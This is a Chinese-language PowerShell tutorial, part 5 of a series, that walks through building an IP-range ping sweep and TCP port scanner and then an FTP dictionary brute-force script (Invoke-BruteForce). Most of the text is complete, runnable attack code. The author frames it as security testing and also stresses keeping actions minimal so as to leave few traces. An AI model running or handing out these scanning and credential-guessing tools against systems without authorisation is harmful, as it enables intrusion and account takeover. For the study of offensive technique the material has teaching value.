powershell(5)-端口扫描与服务爆破

端口扫描

这里我们就开始了我们的端口扫描器的构建, 这里很多朋友肯定会说, 端口扫描不是有很多已经很成熟的脚本了么为什么还要去学习呢?那么我们首先想一想目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的, 对于我们安全测试人员来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有, 但Powershell不同我们不需要进行过多的操作即可进行丰富的操作, 这也是我们作为专业安全人员的基本素养: 尽可能进行少的操作, 因为你无法删除你所有的行踪, 物质守恒定律—-没有人能确保自己不留任何痕迹, 那么越少的操作无疑是我们需要思考的。
端口扫描脚本已经直接放在了下面, 同样大部分的注释等已经写的很清晰, 本脚本涉及到的几个点:

  1. 脚本参数的问题的解决, 可以看到我们的参数获取用了CmdletBinding的方法,这样我们可以设置参数的形式就有很多了, 比如我们需要一个参数是否可选,和参数的位置等
  2. 主机存活检测使用Ping来检测(ICMP)
  3. 端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
  1. function PortScan {
  2. <#
  3. .DESCRIPTION
  4. 端口扫描
  5. .PARAMETER StartAddress
  6. Ip开始地址 Range
  7. .PARAMETER EndAddress
  8. Ip结束地址 Range
  9. .PARAMETER GetHost
  10. 解析获取主机名 HostName
  11. .PARAMETER ScanPort
  12. 端口扫描参数, 若不打开就是主机存活的探测 PortScan
  13. .PARAMETER Ports
  14. 需要扫描的端口,默认有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,
  15. 1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,
  16. 8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030
  17. .PARAMETER TimeOut
  18. TimeOut 默认是10s TimeOut 100
  19. .EXAMPLE
  20. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254
  21. .EXAMPLE
  22. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost
  23. .EXAMPLE
  24. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort
  25. .EXAMPLE
  26. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500
  27. .EXAMPLE
  28. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80
  29. #>
  30. [CmdletBinding()] Param(
  31. [parameter(Mandatory = $true, Position = 0)]
  32. [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
  33. [string]
  34. $StartAddress,
  35. [parameter(Mandatory = $true, Position = 1)]
  36. [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
  37. [string]
  38. $EndAddress,
  39. [switch]
  40. $GetHost,
  41. [switch]
  42. $ScanPort,
  43. [int[]]
  44. $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
  45. [int]
  46. $TimeOut = 100
  47. )
  48. Begin {
  49. # 开始之前先调用Ping组件
  50. $ping = New-Object System.Net.Networkinformation.Ping
  51. }
  52. Process {
  53. # 四层循环获取解析IP地址
  54. foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
  55. foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
  56. foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
  57. foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
  58. # write-progress用于在shell界面显示一个进度条
  59. write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
  60. # 通过Ping命令发送ICMP包探测主机是否存活
  61. $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
  62. if($pingStatus.Status -eq "Success") {
  63. if($GetHost) {
  64. # 本分支主要解决主机名的问题
  65. # write-progress用于在shell界面显示一个进度条
  66. write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
  67. # 获取主机名
  68. $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
  69. }
  70. if($ScanPort) {
  71. # 定义一个开放的端口数组, 存储开放的端口
  72. $openPorts = @()
  73. for($i = 1; $i -le $ports.Count;$i++) {
  74. $port = $Ports[($i-1)]
  75. # write-progress用于在shell界面显示一个进度条
  76. write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
  77. # 定义一个Tcp的客户端
  78. $client = New-Object System.Net.Sockets.TcpClient
  79. # 开始连接
  80. $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
  81. if($client.Connected) {
  82. # 加入开放的端口
  83. $openPorts += $port
  84. } else {
  85. # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
  86. Start-Sleep -Milli $TimeOut
  87. if($client.Connected) {
  88. $openPorts += $port
  89. }
  90. }
  91. $client.Close()
  92. }
  93. }
  94. if($GetHost) {
  95. # 获取主机名
  96. $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
  97. }
  98. # 返回对象-哈希表
  99. New-Object PSObject -Property @{
  100. IPAddress = "$a.$b.$c.$d";
  101. HostName = $hostName;
  102. Ports = $openPorts
  103. } | Select-Object IPAddress, HostName, Ports
  104. }
  105. }
  106. }
  107. }
  108. }
  109. }
  110. End {
  111. # 其他脚本运行结束代码
  112. }
  113. }

我们开看看一个简单的扫描结果:
powershell(5)-端口扫描与服务爆破 - 图1

那么其他扫描模式可自行测试, 可以看到这种扫描是知识单线程模式, 关于多线程的编程我们放在后面再来研究。

服务爆破

那么我们进入到服务爆破的阶段, 那么我们端口扫描之后的一步必然就是进行服务的弱点攻击, 对于一些服务比如21FTP和数据库之类的服务进行爆破是安全测试必经的过程, 那么我们来以FTP服务爆破来举例

  1. function Invoke-BruteForce
  2. {
  3. <#
  4. .DESCRIPTION
  5. FTP服务爆破脚本
  6. .PARAMETER Computername
  7. 主机名参数
  8. .PARAMETER UserList
  9. 用户字典参数
  10. .PARAMETER PasswordList
  11. 密码字典参数
  12. .PARAMETER Service
  13. 服务名参数
  14. .PARAMETER StopOnSuccess
  15. 找到密码时是否退出
  16. .PARAMETER Delay
  17. 爆破时间间隔, 默认为0
  18. .EXAMPLE
  19. PS C:\Users\rootclay\Desktop\powershell> FTP-BruteForce -ComputerName localhost -UserList
  20. C:\Users\rootclay\Desktop\powershell\dict\username.txt -PasswordList
  21. C:\Users\rootclay\Desktop\powershell\dict\pass.txt -Service ftp -verbose
  22. #>
  23. [CmdletBinding()] Param(
  24. [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
  25. [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
  26. [String]
  27. $ComputerName,
  28. [Parameter(Position = 1, Mandatory = $true)]
  29. [Alias('Users')]
  30. [String]
  31. $UserList,
  32. [Parameter(Position = 2, Mandatory = $true)]
  33. [Alias('Passwords')]
  34. [String]
  35. $PasswordList,
  36. [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")]
  37. [String]
  38. $Service = "FTP",
  39. [Parameter(Position = 4, Mandatory = $false)]
  40. [Switch]
  41. $StopOnSuccess,
  42. [Parameter(Position = 6, Mandatory = $false)]
  43. [UInt32]
  44. $Delay = 0
  45. )
  46. Begin {
  47. # 开始之前相关代码
  48. }
  49. Process
  50. {
  51. # Write-Verbose用于打印详细信息
  52. Write-Verbose "Starting Brute-Force and Delay is $Delay."
  53. # 获取用户名与密码字典
  54. $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
  55. $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
  56. if (!$usernames) {
  57. $usernames = $UserList
  58. Write-Verbose "UserList file does not exist."
  59. Write-Verbose $usernames
  60. }
  61. if (!$passwords) {
  62. $passwords = $PasswordList
  63. Write-Verbose "PasswordList file does not exist."
  64. Write-Verbose $passwords
  65. }
  66. # Brute Force FTP
  67. if ($service -eq "FTP")
  68. {
  69. # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
  70. if($ComputerName -notMatch "^ftp://")
  71. {
  72. $source = "ftp://" + $ComputerName
  73. }
  74. else
  75. {
  76. $source = $ComputerName
  77. }
  78. Write-Output "Brute Forcing FTP on $ComputerName"
  79. :UsernameLoop foreach ($username in $usernames)
  80. {
  81. foreach ($Password in $Passwords)
  82. {
  83. try
  84. {
  85. # 调用.net中的FTP库进行连接
  86. $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
  87. $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
  88. # 通过Verbose输出的信息
  89. Write-Verbose "Trying $userName : $password"
  90. # 进行认证连接
  91. $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
  92. # 获取返回信息
  93. $result = $ftpRequest.GetResponse()
  94. $message = $result.BannerMessage + $result.WelcomeMessage
  95. # 打印信息到控制台
  96. Write-Output "Match $username : $Password"
  97. $success = $true
  98. # 判断是否要得到结果立刻退出
  99. if ($StopOnSuccess)
  100. {
  101. break UsernameLoop
  102. }
  103. }
  104. catch
  105. {
  106. $message = $error[0].ToString()
  107. $success = $false
  108. }
  109. # 延时爆破
  110. Start-Sleep -Seconds $Delay
  111. }
  112. }
  113. }
  114. }
  115. End {
  116. # 其他脚本运行结束代码
  117. }
  118. }

下面来看看爆破的结果:

powershell(5)-端口扫描与服务爆破 - 图2

如果不加-verbose参数显示是非常清爽的:

powershell(5)-端口扫描与服务爆破 - 图3